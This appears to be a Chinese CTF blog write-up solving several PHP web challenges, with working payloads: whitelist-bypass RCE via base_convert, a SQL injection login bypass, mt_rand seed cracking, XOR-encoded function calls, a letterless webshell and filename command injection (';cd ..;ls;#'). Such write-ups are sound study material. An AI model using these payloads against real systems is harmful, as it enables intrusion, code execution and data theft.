前言
好久没刷buu了,继续刷
[CISCN 2019 初赛]Love Math
审计代码:
1 | <?php |
这题要我们只使用白名单中的数学函数来进行rce,我们发现存在黑白名单,但是翻阅题目给我们的文档,我们发现以下三个函数:
- base_convert():在任意进制之间转换数字
- dechex():把十进制转换为十六进制
- hex2bin():把十六进制值的字符串转换为ASCII字符
白名单中不存在hex2bin(),那么我们用另外的函数构建:
1 | base_convert(37907361743,10,36) |
这三个函数相互利用就可以表示出所有的字符了,接下来我们看执行部分:
1 | eval('echo '.$content.';'); |
我们肯定想要构造这样的payload:
1 | eval('echo'.$_GET[a]($_GET[b])&a=system&b=cat /flag.';'); |
那么我们就可以构造出_GET
:
1 | base_convert(37907361743,10,36)(dechex(1598506324)) |
接着利用变量覆盖构造payload绕过检测,获取flag:
1 | ?c=$log=base_convert(37907361743,10,36)(dechex(1598506324));$$log{pi}($$log{abs})&pi=system&abs=cat /flag |
由于长度限制导致这题基本不可能用异或来绕过,只能说是一种思路吧。
[MRCTF2020]Ezaudit
发现存在www.zip
泄露,查看源码index.php:
1 | <?php |
审计代码发现需要账号密码以及密钥,不过通过观察sql语句我们发现可以使用万能密码绕过:
1 | 1'or'1'='1 |
因此最重要的部分就在于获取密钥了。我们发现在生成公钥与私钥的过程中使用的是mt_rand()
伪随机。
首先算出伪随机值,exp:
1 | s = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' |
使用php_mt_seed工具计算种子,得到seed=1775196155,php版本5.2.1-7.0,因此在版本范围内指定seedmt_srand(1775196155);
,再执行程序获取私钥为KVQP0LdJKRaV
。
最后登录得到flag。
这题和[GWCTF 2019]枯燥的抽奖
差不多,因此抽奖这题就不写了。
[GXYCTF2019]StrongestMind
算1000个式子就可以获取flag,考python的exp编写:
1 | import re |
这里主要学习了python关于正则表达式的库——re的利用。整个代码的逻辑其实很简单,正则匹配网页内容中的加减算式,并将算式当成命令直接执行可以得到结果,最后post回去得到下一关的式子,循环1000次得到flag。这样想想之前hgame2022 week1的web那题应该也是差不多的。
[ISITDTU 2019]EasyPHP
RCE题,审计源码:
1 | <?php |
问题很简单,绕过两个if的过滤就可以了,第一个if很明显是个正则匹配的黑名单,而第二个if起到的作用是限制我们使用字符的数量,也就是在整个payload中我们只能使用12个字符。
取反绕过,查看phpinfo:
1 | ?_=(~%8f%97%8f%96%91%99%90)(); |
然后查看disable_functions:
1 | pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open, |
噩耗啊这是,基本shell都被禁用了,不过我们永远滴神print_r(scandir(.))
还在,我们还有希望。
但是取反的时候我们发现第二个if的条件无法被满足,第二个噩耗传来了属于是,不过没有关系,我们发现异或也没有被过滤,而且取反我们也可以使用^(%FF%FF%FF%FF%FF%FF%FF)
进行替代,那么我们就可以构造payload了:
1 | ?_=((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF))); |
获取到文件,用readfile()
来读取,但是这个文件名超级长,我们几乎不可能在异或这个文件名的情况下满足第二个if,因此这里要利用flag文件在最后的这一点,使用end()
来读取,payload:
1 | readfile(end(scandir(.))) |
[SUCTF 2018]GetShell
进入网页,发现是upload,同时给出了部分代码:
1 | if($contents=file_get_contents($_FILES["file"]["tmp_name"])){ |
这串代码对我们上传的文件的内容进行了过滤,测试发现基本上不能存在字母,利用之前讲过的无字符webshell,由于不能有引号,因此要改写下shell:
1 | <?= |
上传文件后就可以执行rce了。看了别人的wp发现由于环境配置问题flag没写进文件,因此查看环境变量env获取flag。
[N1CTF 2018]eating_cms
进入网页发现登录,扫描目录发现register.php,注册后登录。
进入网页发现url有个page参数,估计是伪协议,尝试读取源代码:
1 | ?page=php://filter/convert.base64-encode/resource=user |
成功:
1 | <?php |
要管理员权限才能读取信息,没看出什么,继续读取function:
1 | <?php |
一套军体拳下来sql直接被封死,”flag”,”manage”,”ffffllllaaaaggg”,”info”也进入了黑名单,不能直接读取,但我们注意到parse_url()
,我们之前也利用了这个函数进行bypass,payload:
1 | //user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg |
读取到源码:
1 | <?php |
继续读取m4aaannngggeee:
1 | <?php |
访问templates/upload.html上传文件,结果怎么传都是404,但是通过url我们发现存在upllloadddd.php,继续读取:
1 | <?php |
核心代码在$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
,我们要利用这里进行rce,找了半天上传点,最后发现在user.php?page=m4aaannngggeee。
上传文件,更改文件名为;ls;#
,查看当前目录下的文件,没发现flag,因此去根目录找,斜杠被屏蔽用cd代替:
1 | filename=";cd ..;ls;#" |
得到flag。